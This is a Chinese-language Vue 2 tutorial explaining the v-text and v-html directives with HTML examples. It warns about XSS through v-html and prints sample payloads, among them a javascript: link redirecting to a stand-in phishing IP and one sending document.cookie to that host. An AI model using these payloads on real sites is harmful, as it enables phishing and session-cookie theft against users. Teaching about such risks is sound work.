1.v-text
v-text指令的基本功能是向其所在的标签中插入文本内容，需要注意的是，v-text会替换掉整个div的内容，实际开发中用的不多，
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue测试</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值语法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"张三"
},
})
</script>
</body>
</html>
效果如下：
2.v-html
v-html指令可以解析html ,比如下面这样
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue测试</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值语法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
<div v-html="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"张三",
str:"<h3>你好，123</h3>"
},
})
</script>
</body>
</html>
但是这个v-html使用有风险，比如下面这个xss漏洞。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue测试</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值语法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
<div v-html="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"张三",
str:"<a href=javascript:alert(1)> 执行了！</a>"
},
})
</script>
</body>
</html>
如果你觉得这个好像没有什么大问题，不就是一个alert吗，那么给大家简单演示一下一些钓鱼网站的是如何工作的。
我们创建了一个钓鱼网站，域名假设是 http://123.123.123.123。 我们把上面的代码改成：
str:"<a href=javascript:location.href="http://123.123.123.123"> 点我</a>"
这种方式在你不经意间就访问了携带有木马的网站。
还有更厉害的，可以通过这种方式直接获取到当前用户的cookie
str2:'<a href=javascript:location.href="http://123.123.123.123?"+document.cookie> 点我</a>'
这种写法相当于把你电脑里的cookie当成字符串传递出去，非常危险。
所以v-html用的并不多。